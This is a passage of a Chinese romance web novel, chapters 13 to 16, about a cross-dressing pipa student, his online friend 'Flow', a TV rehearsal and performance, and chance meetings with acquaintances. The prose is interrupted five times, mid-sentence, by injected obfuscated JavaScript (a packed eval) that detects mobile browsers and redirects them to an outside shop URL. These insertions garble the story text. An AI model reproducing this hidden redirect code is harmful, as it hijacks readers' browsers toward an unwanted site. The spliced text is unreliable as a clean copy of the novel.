等电梯时,手机响了,看到来电显示,李如深微感惊讶,急忙接听:“喂,祝姐。” “小李,听小禾说你现在在星城?” “对,我来这边出差。” “虽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14000720|148498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很冒昧,但我想请你帮个忙。” “你说。” “小禾说他后天录完节目就回来了,我想请你拖住他,拖到31号再让他回西城。” 没有细问缘由,李如深一口答应:“好。” …… 送走李如深,吹干头发,祝星禾就关灯上床了。 房间里似乎还残留着李如深的气息,对祝星禾造成了严重的打扰,弄得他心绪紊乱,酝酿了好久也毫无睡意。 他拿起放在枕边的手机,点开微信,盯着他最后发给李如深的那段话研究了半晌,愈发怀疑李如深就是在揣着明白装糊涂。 他不懂,李如深到底为什么要在他身上浪费时间,就算李如深真的对伪娘有所偏好,也肯定能找到比他更好的人选,他没那么特别。 不过也没什么好烦恼的,反正他和李如深很难再有交集,正如纪灵慧所说,他们不是一个世界的人。 他又点开微博,刷了会儿大号,又切到追星的小号,把李如深帮他拍的那张和海报墙的合照发了上去,发之前还用美图秀秀P了一下,用一朵小黄花把他的脸遮住了。 刷完微博又点开了抖音,进入和Flow的聊天界面,他们的对话停在了Flow发的那句“那你想睡他吗”。 抖音的聊天背景和微信一样,是同一张裸-照,照片中的男人侧躺在床-上,只露着上半身,皮-肤白-皙,腹-肌若隐若现,胸-肌恰到好处,正中他的审美——他是真的不喜欢肌肉过分发达、浑身硬-梆-梆的Strong男,尤其是那种沟壑分明的巧克力腹-肌再配上泛着油光的黑皮,总让他联想到挂在烤炉里滋滋冒油的烤鸭,直接丧失所有慾望。他偏爱“穿衣显瘦、脱衣有肉”的薄肌身材,腹-肌有没有都无所谓,但不能有赘肉,胸-肌一定要有,但不能太饱满,微凸即可。 照片上这个拥有完美身材的男人就是Flow,截取自Flow发的一条抖音,而他之所以那么喜欢这张照片,还有一个重要原因就是Flow的胸前还卧着一只超可爱的橘猫幼崽,人和猫都狠狠戳中了他的心巴。 对着聊天背景看了许久,祝星禾鬼使神差地在对话框里输入了一句有生以来最大胆的骚话—— 小禾不是花:[我想睡你。] 13.另类13 另类13 [我想睡你。] [我想睡你。] [我想睡你。] …… 这几个字像紧箍咒一样在祝星禾的头顶盘旋,令他脑子嗡嗡的,他既想让Flow看到,又害怕让Flow看到。 一分钟后,他还是怂了,点了撤回。 正要退出抖音,对面发来一条消息:[我看到了。] 祝星禾:“……” 怎么会这样! 明明没显示“已读”啊! 他就不能假装没看到吗! 好羞耻! 好社死! 好想离开地球! 在床上一通翻滚和扭曲之后,祝星禾强迫自己冷静下来,装作若无其事地回复。 小禾不是花:[哈哈哈!] 小禾不是花:[我口嗨呢。] 小禾不是花:[你别当真。] Flow:[嗯。] Flow:[今天玩得开心吗?] 祝星禾大大地松了口气,感谢Flow如此轻易就放过了他,他是个好人。 小禾不是花:[还行。] Flow:[还行?那就是不太开心。] Flow:[是因为你在丰盈西街偶遇的那个人吗?] 小禾不是花:[嗯。] 小禾不是花:[我本来打算吃完饭去逛街的,因为那个人没逛成,直接回酒店了。] Flow:[不想和他一起逛?] 小禾不是花:[不是不想,是不能/叹气] Flow:[?] 小禾不是花:[其实我和他昨天才相过亲,但是相亲失败了,所以今天再见就有点尴尬。] 小禾不是花:[这不是重点,重点是他是个芳心纵火犯,只要和他在一起就很难不心动,可我不能为他心动,就只能敬而远之。] Flow:[你为什么不能为他心动?] 小禾不是花:[因为我不喜欢抽烟的男人。] 小禾不是花:[如果一个男人抽烟,我可以和他做普通朋友,但绝对不会让他成为我的男朋友。] 小禾不是花:[我没办法和一个一口黄牙、满嘴烟臭的男人接吻,只是想想都觉得恶心。] Flow忽然沉默了。 祝星禾猜到了他沉默的原因,犹豫几秒,还是决定问清楚。 小禾不是花:[你抽烟吗?] Flow:[抽,但我没有烟瘾,通常只有在社交场合或者工作压力很大的时候才会抽。] 祝星禾微感失望。 虽然他和Flow只是普通网友,甚至他连Flow长什么样子都不知道,但他馋过Flow的身子,也曾对Flow产生过一些美好的遐想,所以继昨晚之后他再次尝到了幻灭的滋味。 与此同时,他又有些抱歉,怕刚才那番话冒犯到Flow。 小禾不是花:[对不起啊。] 小禾不是花:[那我们就只能保持纯洁的网友关系啦/微笑] Flow:[如果那个男的愿意为你戒烟,你会和他在一起吗?] 小禾不是花:[疯狂点头.jpg] 小禾不是花:[何止是在一起,让我嫁给他都行!] 小禾不是花:[他的脸和身材简直是照着我的审美长的,性格我不了解,他总是面无表情,话也很少,应该是个情绪超级稳定的大人。] Flow:[话少算是缺点吗?] 小禾不是花:[不算吧,话太多会显得轻浮。] 小禾不是花:[我感觉你话也挺少的。] Flow:[是么?] Flow:[我怕经常找你聊天你会嫌我烦。] 小禾不是花:[才不会!] 小禾不是花:[我只有两个网友,一个是你,另一个是追星的同担,你不用担心我聊不过来/ 调皮] Flow:[好,以后我会经常找你聊天。] 小禾不是花:[握爪.jpg] 小禾不是花:[快十一点了,我该睡觉了。] Flow:[睡吧,晚安。] 小禾不是花:[你也晚安。] 小禾不是花:[小熊猫枕尾巴睡觉.jpg] 退出抖音之前,祝星禾把用了大半年的聊天背景换掉了,换成了阮郁的照片。 而后点开网易云,播放助眠歌单,设置好定时关闭,放下手机,清空大脑,等着入梦。 …… 睡前忘了拉窗帘,祝星禾是被刺眼的晨光唤醒的,一看手机,才七点刚过。 蒙着头又躺了会儿,横竖睡不着,干脆起床洗漱,正刷牙呢,门铃响了,随即响起一道男声:“Housekeeping。” 祝星禾吐掉嘴里的牙膏沫,走到门口,透过猫眼往外看,确定是服务员后才打开房门,疑惑地说:“我没叫过客房服务,你是不是送错了?” 服务员看了眼门牌号:“3048房间,没错,这是李如深李先生为您点的早餐。” 祝星禾看着小推车上琳琅满目的餐点,神色怔怔:“这些……该不会都是吧?” 服务员:“是。” 祝星禾:“……” 就算他是猪也吃不了这么多啊! 送都送来了,祝星禾不好与人为难,只得放服务员进去,杯盘碗碟摆了一桌子,看着种类繁多,其实份量还好,因为每样餐点都精而少,堪比那些怎么吃都吃不饱的米其林大餐。 “这一桌总共多少钱?”祝星禾问。 “我只负责送餐,不负责买单,”服务员说,“我只知道李先生已经结过账了。” 祝星禾别无选择,只能接受这份好意,之后再找机会还给李如深就是了。 慢吞吞地吃了快一个小时,祝星禾给方灵子发微信:[灵子姐,今天的彩排时间确定了吗?] 等了几分钟,方灵子回复:[可能要等下午了,到时候我会去接你。] 祝星禾:[好的,我等你消息。] 上午空了下来,但也不能乱跑,只能在酒店老实待着。 幸好他带了笔记本电脑,练了半小时琵琶后就开始剪视频,这阵子积攒了不少琐碎的素材。 挑选BGM的时候,他几乎立刻就想到了《City of Sta ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007005|148498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' rs》,于是就用了。 忙到中午,午饭也不用出去吃了,除了早上吃剩的,李如深昨晚送过来的那一大袋零食还没动呢,他必须在两天之内消灭它们,总不能再带回西城去,齁沉的。 袋子里有各种口味的百奇、丽芝士威化饼干、皇冠丹麦曲奇、费列罗巧克力、多力多滋玉米片、娃哈哈AD钙奶……竟然都是他平时爱吃的,李如深也太会买了。 解决完午饭,方灵子那边还没动静,祝星禾刷完牙就睡了。 午睡不宜太久,只睡了半小时他就醒了,百无聊赖地躺在床上刷微博,刷到@阮郁后援会official 发了阮郁的九月行程,看到阮郁要来西城参加品牌活动,他立即来了精神,把行程图保存到相册,然后发给除Flow之外的另一个网友,也就是那位一起追星的同担。 是禾不是河:[图片] 是禾不是河:[@一秋之鹤 在吗姐妹?] 是禾不是河:[喜大普奔!阮郁9月3号要来西城参加活动!我们有机会见到真人啦!] 他有两个微博账号,大号和抖音同名,“是禾不是河”则是专门用来追星的小号,关注的基本都是同担,有画手、写手、剪刀手、站姐、娃妈、彩虹屁精——刚开始追星的时候还关注了很多大粉,后来为了远离粉圈撕逼,又一个个取关了,进入佛系追星模式。 他和一秋之鹤是在一个同城粉丝群里认识的,群里都是西城本地的同担,偶尔会组织一些线下活动,比如生日会、电影包场之类的。一秋之鹤是个初恋追星的萌新,粉圈的很多规矩都不懂,有次在群里分享了两张私生图,被几个老粉怼了,祝星禾路见不平拔刀相助,帮她说了几句话,事后她给他发私信表示感谢,两个人由此相识,慢慢成了追星搭子,刷到好看的图频、有趣的段子都会互相分享,还互寄过礼物,但从未见过面。 一秋之鹤:[太好了,我还没见过真人呢。] 是禾不是河:[我见过,两次,嘻嘻(^-^)V] 一秋之鹤:[这种品牌活动怎么参加?要买票吗?] 是禾不是河:[不同的活动参加的条件也不一样,现在还不清楚呢,这几天我们多上线,密切关注后援会的动向,时刻做好抢票的准备。] 一秋之鹤:[好,我会的。] 是禾不是河:[秋秋,我们终于要面基啦/憧憬] 一秋之鹤:[等参加完活动,我请你吃饭/害羞] 是禾不是河:[好呀!] 是禾不是河:[我还有个小小的请求。] 一秋之鹤:[你说。] 是禾不是河:[那天你能带上你的小狗吗?] 是禾不是河:[我眼馋你的小狗好久了。] 一秋之鹤:[当然可以。] 是禾不是河:[/彩虹屁/彩虹屁/彩虹屁/彩虹屁/彩虹屁] 秋秋的头像就是她的小狗,是一只超级可爱的查理王小猎犬,秋秋的微博里除了阮郁就是她的小狗,祝星禾一直云吸狗,终于有机会见到活生生的小狗了。 正开心呢,方灵子发来微信,说她已经在来接他的路上了,祝星禾赶紧丢下手机,下床洗漱。 14.另类14 另类14 再次见到祝星禾,方灵子仍觉惊艳,同时又暗生惋惜,一个男孩子长这么漂亮多少有些浪费,如果祝星禾是女孩子,这张脸会让他的人生变得易如反掌,这个世界对长得好看的人总是充满偏爱。 方灵子想从祝星禾手中接过琵琶盒,被祝星禾拒绝了,他笑着说:“我自己来就好,从小拎到大早就习惯了。” “你从几岁开始学琵琶的?”方灵子随口问。 “六岁,小学一年级。” “小朋友学乐器一般都是首选钢琴、小提琴这种西洋乐器,就算是学古典乐器也应该学古筝,你怎么会学琵琶呢?我从没见过学琵琶的男孩子,你是第一个。” “我最开始的确学的钢琴,但我不喜欢,怎么都学不进去,我妈就让我试试别的,小提琴、吉他、架子鼓、古筝试了个遍,我都不感兴趣,最后才试到了琵琶,如果再不行我妈就让我改学画画了。”明明是那么久远的往事,如今回忆起来却鲜明如昨,“教琵琶的是个年轻漂亮的女老师,穿一身白色汉服,抱一把巴花琵琶,就像从古装剧里走出来的仙女,一下子就把我迷住了。所以我是因为喜欢教琵琶的老师,才爱屋及乌喜欢上了琵琶,没想到一弹就弹了这么多年,把兴趣爱好变成了专业。” 方灵子喜欢听他说话,柔柔软软、轻轻慢慢的,听着很舒心,极适合讲睡前故事的一把嗓子。 车就停在酒店门口,还是那辆黑色SUV,方灵子还是坐副驾,祝星禾还是抱着琵琶盒坐在后座。 方灵子侧身回头:“忘了问你,曲子练得怎么样?” 祝星禾说:“我有一个B站账号,发的都是琵琶弹奏的视频,那首《壁上观》我前不久才弹过,特别熟。” “你B站账号是什么?我给你点个关注。” “一棵小禾。” “你今天合作的歌手是周馥苏,你对她有了解吗?”方灵子又问。 “了解谈不上,只是听过她几首歌。”周馥苏是OST女王,手握多首爆曲,能给她伴奏是祝星禾的荣幸。 “周老师挺好相处的,就是对待舞台特别认真,只要你业务水平OK,就万事大吉。你有喜欢的歌手吗?” “我喜欢Hertz,我是主唱阮郁的粉丝。” “我们节目还真给阮郁发过邀约,可惜他没时间,没办法,他实在太红了。” 祝星禾莞尔一笑,他想到了某位天后广为流传的一段采访。 记者问:你现在最大的烦恼是什么? 天后拨弄着头发,漫不经心地回答:太红了。 没有碰瓷天后的意思,但阮郁这几年确实红得发紫,他的几个队友也被他带飞了。 不过十分钟左右的车程,他们就进了演播中心所在的文创园,园区内建有多个演播厅,很多热播综艺都是在这里录制的。 祝星禾看着那些科技感十足的建筑,不禁有种刘姥姥进大观园的感觉。 他们在6号演播厅下车,方灵子带着祝星禾进去,打了一路的招呼,终于到了周馥苏的休息室。 “不用紧张,”方灵子小声安抚,再次强调:“周老师人很好的。” 祝星禾笑着点点头,但不紧张是不可能的,他只能尽量掩饰。 方灵子敲了敲门,得到应允后推门入内,径直来到周馥苏面前,赔着笑脸说:“周老师,之前跟您提过的,原定的那位琵琶手有事来不了了,这是代替她的人,小禾——” 祝星禾上前一步,态度恭谨:“周老师好。” 周馥苏打量着他,用戏谑的口吻说:“怎么是个小屁孩?满十八了吗?” 方灵子忙说:“二十了,是西城音乐学院的学生,还是梅笑寒大师的关门弟子呢。” 这几年乘着弘扬传统文化的东风,日渐式微的国乐重新起势,民族乐器越来越频繁地出现在音乐节目和晚会里。 但凡对国乐有所了解的人就不可能没听过梅笑寒的名号,周馥苏稍稍正色:“小孩儿,你叫什么名字?” “祝星禾,禾苗的禾。” “以前登过台吗?” “和师父师姐一起上过B站的跨年晚会。” “好,待会儿咱们舞台上见真章吧。” “好的周老师,”方灵子适时接话,“那您先休息,等彩排的时候我再带小禾过来。” 出了休息室,方灵子问:“对周老师的初印象怎么样?” 祝星禾说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14014945|148498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周老师不仅歌唱得好,长得也好看。” 方灵子笑了笑:“走吧,送你去休息室。” 刚要走,突然听见有人喊了一声:“祝星禾?” 祝星禾闻声回头,愣了几秒才想起来对方是谁,顿时大吃一惊,他没想到会在这里碰到认识的人。 方灵子也很诧异:“你认识路直?” 祝星禾低声说:“我和他做过两年高中同学。” 路直大步流星地来到祝星禾面前,一脸惊喜:“还真是你啊,我还以为看错了。” 祝星禾有些尴尬地朝他挥挥手:“好久不见。” 路直问:“你怎么会在这儿?” 祝星禾指了指旁边门上贴着的名牌:“我来给周老师担任琵琶伴奏。” 路直笑着说:“太巧了,我是这个节目的飞行嘉宾。” 祝星禾心想,是挺巧的,他前两天才跟纪灵慧提过这个人,今天就见到了本尊。 路直就是第一个令他怦然心动的男生,因为长得帅唱歌又好听。但也仅仅是一瞬间的心动而已,他看到美丽的风景会心动,看到漂亮的裙子会心动,看到可爱的小猫小狗也会心动,这样的瞬间实在太多了,实在没什么特别。 高二下学期,路直休学去参加男团选秀,成功出道,一年半后,男团解散,路直单飞,经常在各种综艺节目里刷脸,祝星禾偶尔会在热搜上看到他,所以才会记得他,否则早忘得一干二净了。 “你住哪儿?”路直问。 “香雪漫波。” “我也住那儿,等录完节目我去找你玩儿。” 祝星禾心说等节目录完他就回西城了,他跟他也不熟,没什么好玩的,但嘴上还是应了声“好”。 “你有我微信吧?”路直又问。 “……”祝星禾还真不确定,毕业后就再无交集的同学他都删了,“应该有吧。” 路直直接伸手:“手机给我。” 祝星禾知道他想干嘛,觉得没必要却没理由拒绝,只能不情不愿地掏出手机,解锁后递给他。 路直加完微信后把手机还给他,笑着说:“很高兴再见到你。” 祝星禾微微一笑,口不对心:“我也很高兴。” 15.另类15 另类15 在多人混用的休息室里,祝星禾蜷缩在角落里Cos孤独的蘑菇,祈祷着不要有人来找他聊天。 因为忘带充电器了又不好意思找别人借,所以连手机都不敢玩,怕把手机玩没电了,万一祝女士给他打电话打不通,肯定会着急的。 就这样等了两个多小时,方灵子终于来叫他,带他去彩排。 舞台很大,台上只有祝星禾和周馥苏两个人,其他乐手和伴唱都隐藏在灯光照不到的地方。 上台之前祝星禾还有点紧张,上台之后他就稳如老狗了,他抱着他的琵琶,就像抱着一个相伴多年的老朋友,只觉得心安神定。 虽然他没什么舞台经验,但他从小到大参加过无数比赛,拿过的奖杯两个展示柜都摆不下,早就磨炼出来了。 祝星禾不用弹整首曲子,他从X-Part加入,一段疾风骤雨、慷慨激昂的独奏伴随着周馥苏婉转的吟唱,之后再与乐队融合,直至结束。 一曲终了,周馥苏来到他面前,眼神中尽是不加掩饰的欣赏:“厉害啊小朋友,小小年纪就技艺高超,前途不可限量。你叫什么名字来着?” “祝、星、禾。”祝星禾一字一顿地回答。 “好,祝星禾,我记住了。”周馥苏朝他伸出手,“期待以后有机会再合作。” 祝星禾双手握住那只手,尽量表现得宠辱不惊:“谢谢周老师。” 排练完还不能走,祝星禾回到休息室,接着等。 手机上有Flow发来的信息。 电量尚且充足,祝星禾就点开了抖音,权当打发时间。 Flow:[视频] Flow:[视频] Flow:[录制进行得如何?] 祝星禾调低音量,播放视频。 第一条视频是一只海獭向人类求助,请人类解救它被渔网困住的小伙伴,事后两只海獭送了人类一枚鹅卵石表示感谢。 第二条视频是动物园里的饲养员给一只小河马洗澡,胖嘟嘟的小河马在逃跑时摔了个屁股墩。据说这只名叫“跳跳猪”的小河马现在是他泰顶流,风靡外网。 他的“喜欢”没上锁,谁都可以浏览,里面除了阮郁就是可可爱爱的小动物,所以Flow才会投他所好。 他给这两条视频都点了赞,忽然想起前阵子刷到过的一条微博,这种给喜欢的人分享可爱图频的行为叫作“丢鹅卵石”,因为有种企鹅喜欢在伴侣的巢穴里留下一块鹅卵石,告诉它“我来过,我很关心你”。① 所以,这是不是意味着,Flow对他是有好感的? Stop——禁止过度脑补!禁止自作多情! 小禾不是花:[刚彩排完,什么时候录制还不知道呢,只能等……/叹气] Flow:[吃晚饭了吗?] 小禾不是花:[还不饿。] Flow:[不饿也要吃,等忙起来就没时间吃了。] Flow:[给我发个定位,我帮你点。] 小禾不是花:[不用,我带了饼干和巧克力。] 小禾不是花:[某人买了好多,我得赶紧吃完。] Flow:[某人?] 小禾不是花:[就是昨天偶遇的那个相亲对象。] 小禾不是花:[然后我今天又偶遇了一个人。] Flow:[谁?] 小禾不是花:[一个高中同学,他现在是爱豆,是这档节目的飞行嘉宾。] Flow:[你喜欢过他?] 小禾不是花:[……] 祝星禾咋舌。 都说女人的第六感准得可怕,看来男人也不遑多让。 Flow:[我瞎猜的。] 小禾不是花:[只是在特定情境下有过一瞬间的心动而已,离“喜欢”还差十万八千里。] Flow:[什么特定情境?] 小禾不是花:[当时好像是某个同学生日,在KTV里聚会,他唱了一首我喜欢的歌,唱得特别好,所以我就有一点点心动,那份心动只持续了一首歌的时间,然后就没有然后了。] Flow:[唱的什么歌?] 小禾不是花:[周杰伦的东风破。] Flow:[你喜欢周杰伦?] 小禾不是花:[我喜欢过去的周杰伦。] 小禾不是花:[我喜欢听老歌,现在的歌都太吵了。] Flow:[我也喜欢老歌。] 小禾不是花:[你有特别喜欢的歌手吗?] Flow:[伍佰。] 小禾不是花:[我知道他!] 小禾不是花:[《想见你》里触发剧情那首《Last Dance》就是他唱的。] 小禾不是花:[不过他的歌里我最喜欢的一首是《泪桥》。] 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024204|148498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >Flow:[这首我也喜欢。] Flow:[泪是最小的河,爱是最坚固的桥。] 两个人就这样东拉西扯地聊着无关紧要的废话,一直聊到手机开始发烫、电量开始唰唰往下掉,祝星禾才意识到不能再聊下去。 小禾不是花:[我没带充电器出来,电量要省着用,不跟你聊了。] Flow:[今天还觉得我话少吗?] 小禾不是花:[今天是你话最多的一次/赞] Flow:[喔/愉快] 小禾不是花:[我想象中的你是个酷盖,你发这种软萌的表情会让我觉得很违和/笑哭] Flow:[我在模仿你。] 小禾不是花:[?] Flow:[你经常在一句话的末尾加个表情。] 小禾不是花:[因为只发文字太干巴了,加个表情就会让文字变得生动起来,仿佛有了语气。] 小禾不是花:[好啦好啦,不跟你说了。] 小禾不是花:[拜拜.jpg] Flow:[录制结束后告诉我一声。] 小禾不是花:[/OK] 祝星禾清空后台运行的所有软件,这样可以省点儿电。 虽然他和Flow说了一堆废话,却让他因为漫长的等待而有些焦灼的心情得到了安抚。 之前他陪祝女士看恋综的时候,观察室里的嘉宾说过一句令他这个恋爱小白印象深刻的话,他甚至还截图发了微博。 那句话说的是:谈恋爱是讲废话的能力,浪漫是做无用功的能力。 他总是告诫自己不要过度脑补和自作多情,可是怎么忍得住呢。 虽然他对网络那边的男人几乎还一无所知,但慢慢了解一个人的过程就像拆盲盒一样令人充满期待,而心动就是从日复一日的期待中诞生的。 但是,Flow也抽烟。 他抽烟。 他抽烟。 他抽烟。 …… 为什么要抽烟! 为什么明知道有害健康还要抽烟! 烦死了(孙悟空语气)! 祝星禾一直很抗拒去看心理医生,他不想揭开伤疤给人看。 此时此刻,他第一次萌生了去看心理医生的念头,他想消除烟味对他的影响,跨过那道障碍。 他无权要求别人做出改变,就只能改变自己。 16.另类16 另类16 晚上七点多,方灵子再次出现,带祝星禾去化妆。 到了化妆间,造型师上下打量祝星禾几眼,对着方灵子说:“这是个男孩子吧?” 方灵子第一次见到祝星禾时也分不清他是男是女,她以为造型师产生了与她相同的疑惑,于是笑着点点头:“没错,是男孩子。” 没想到造型师脸色骤变,怒气冲冲地说:“最开始定的琵琶手不是个女的吗,所以我们准备的是女装,你现在给我弄个男的来,我上哪儿去弄一套男装来?!” 方灵子如遭雷击,这才意识到她竟然在琵琶手换人之后忘了通知造型组调整服装,这是她的工作失误。 短暂的惊慌之后她立刻思考该如何补救,幸好——幸好她下午去接祝星禾的时候顺嘴问了一句祝星禾的B站账号,幸好她吃晚饭的时候点开B站观看了祝星禾的弹奏视频,幸好祝星禾在视频里穿的都是女装,幸好祝星禾男生女相,不仅脸蛋长得漂亮身材也纤细单薄,穿女装丝毫都不违和。 方灵子急忙掏出手机,点开B站,从历史记录摸进祝星禾的主页,随即把手机屏幕怼到造型师面前:“Linda姐你看,这是小禾的B站账号,他平时拍视频都是穿女装的,有汉服有旗袍还有各种礼服,都很漂亮。” 虽然从视频封面就能窥见端倪,但Linda姐还是点开了其中一条视频,视频中的人梳着古代的发髻,穿着唐制齐胸襦裙,抱着一把紫檀琵琶,即使白纱覆面,也能从眉眼看得出是个花容月貌的美人,像从古画里走出来似的。 Linda姐把手机屏幕转向祝星禾:“这真是你?” 祝星禾赧然点头:“是我。” Linda姐把手机还给方灵子,拉开椅子,有些倨傲地冲祝星禾抬了抬下巴:“坐。” 两三个人围着他忙活了一个多小时,终于装扮完成。 Linda姐说:“起来走两步。” 祝星禾听话地站起来,像模像样地模仿着古装剧里的姿态,双手交叉搭在肚子上,搦腰擢步,娉娉婷婷,赏心悦目。 “好像九十年代特别火的一个香港女演员。” “太仙啦,可以直接拉去演古偶女主了。” “你不去逐梦演艺圈都对不起你这张脸。” “确实,明明可以靠脸吃饭你却偏要靠才华。” “如果有下辈子,我就想长你这样。” “哎我手机呢?我要拍照发朋友圈。” 几个女孩不吝赞美,祝星禾的“夸赞羞耻症”又犯了,只能用笑容来掩饰尴尬。 正在配合其他人拍照,方灵子来了,看到古装版祝星禾,她失语几秒,反手关门,走到Linda姐身边,小声说:“Linda姐,你不觉得他美得太超过了吗?” Linda姐秒懂她的意思——祝星禾要和周馥苏同台表演,而周馥苏才是舞台的主角,主角是不能被配角艳压的。周馥苏虽然才貌双全,却已不再年轻,在宛如少女的祝星禾面前,她可能会黯然失色。 “那还不好办,”Linda姐说,“找块面纱把他的脸遮起来不就好了,就像他自己拍的视频里那样。” 轻薄的面纱把下半张脸一遮,不仅方灵子放心了,也合了祝星禾的意,因为他在B站发的视频都是不露脸的,这样看视频的人就能把注意力集中在琵琶上而不是他的脸上。 方灵子领着祝星禾去跟周馥苏会和,半路又遇见了路直。 路直刚从舞台下来,妆发精致,帅气逼人,祝星禾莫名其妙地拿他和李如深对比了一下,觉得还是李如深更胜一筹,不仅胜在外貌,还有气质,路直到底还是太嫩了。 路直在他面前停下来,用一种惊疑不定的眼神看着他:“你是……祝星禾?” 祝星禾“嗯”了一声,客气地问:“你的表演还顺利吗?” 路直呆愣了两秒才回答:“挺顺利的,你要上台了吗?” “嗯。” “别紧张,我会在台下为你加油的。” “谢谢。” 简短地寒暄几句,祝星禾就跟着方灵子继续往前走了,路直停在原地,注视着他窈窕的背影,直到他消失在拐角处。 祝星禾非常出色地完成了表演,当聚光灯打在他身上的时候,他只觉得热血沸腾、心潮澎拜,有种如鱼得水的畅快感,仿佛他就是为舞台而生的。 路直说到做到,隐藏在观众区观看了祝星禾的表演,祝星禾那段琵琶独奏配合着周馥苏的咏叹调,简直是天籁之音、视听盛宴,直击天灵盖。 周馥苏才是这个舞台的主角,但路直完全无法将目光从祝星禾身上移开,他聚精会神地看着、听着,奇异地和千年前的古人产生了共感,高中背过的诗句在此刻具象化了—— 千呼万唤始出来,犹抱琵琶半遮面。 轻拢慢捻抹复挑,低眉信手续续弹。 大弦嘈嘈如急雨,小弦切切如私语。 嘈嘈切切错杂弹,大珠小珠落玉盘。① 表演结束后,周馥苏拉着祝星禾的手一起谢幕,又拉着他走到后台,给了他一个热情的拥抱:“小禾,你太棒了!” 祝星禾僵着双手不敢乱动,半是真诚半是恭维地说:“是周老师的歌声感染力太强了,把我带入了歌曲表达的情境里。” 周馥苏松开他:“叫什么老师,叫姐姐!” 祝星禾犹豫了下,学着旁人的叫法:“苏、苏苏姐。” 周馥苏伸手摘掉他的面纱,定定看着他稚嫩的、过分美丽的脸庞,眼神中弥漫着一种异样的情绪。 祝星禾看不懂,也不敢问,只是默默的,任她盯着自己。 周馥苏很快恢复如常,让助理帮忙拍了几张合照,就放祝星禾离开了。 回到化妆间,卸掉妆发,换回自己的衣服,祝星禾就可以自行离开,后面没他的事儿了。 从演播厅出来,他边走边给任芳林发微信:[报告师姐,圆满完成任务/嘿哈] 过了几分钟,任芳林回复:[谢谢师弟,辛苦你了。] 祝星禾:[不辛苦,就当免费旅游了/愉快] 祝星禾:[你闺蜜怎么样了?] 任芳林:[手术做完了,但还需要住院一周。] 任芳林:[你是想在星城再玩两天,还是明天回来?] 祝星禾:[明天回吧,一个人也没什么好玩的。] 任芳林:[那行,我给你订明天下午的机票。] 任芳林:[至于酬劳,等节目组发给我我再转给你。] 祝星禾:[不用转给我!你自己留着就好!] 祝星禾:[我还要感谢师姐给我演出的机会呢。] 这话不是虚假的客套,而是发自肺腑的大实话,演出的机会远比酬劳重要得多,就好比这次,他就得到了周馥苏的赏识,她明确表示期待跟他再次合作,等到节目播出,也能为他创造更多的机会。 所以他是真的不在乎这点酬劳,他并不缺钱。 可任芳林却很坚持:[那咱们三七分,我三你七,不许推辞,否则我要生气的。] 祝星禾只能退一步:[五五分,就这么愉快地决定了/握手] 任芳林:[行吧,听你的。] 任芳林:[都快十一点了,你快回酒店休息吧,我待会儿把订票信息发给你。] 祝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033280|148498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星禾:[OK.jpg] 和任芳林聊完,又打电话跟祝女士报备,等走出园区、坐上车,祝星禾又点开抖音,告诉Flow一声,Flow几乎秒回,仿佛一直在等他的信息。 小禾不是花:[我录制结束啦~] Flow:[顺利吗?] 小禾不是花:[很顺利,跟我合作那位歌手人超好的,路转粉了。] Flow:[是从路人变成粉丝的意思吗?] 小禾不是花:[你好聪明!/鼓掌/鼓掌] Flow:[你在嘲讽我吗?] 小禾不是花:[怎么可能,不要冤枉我。] Flow:[你现在在哪里?在做什么?] 小禾不是花:[在回酒店的路上。] Flow:[你明天是不是就要回西城了?] 小禾不是花:[嗯嗯。] 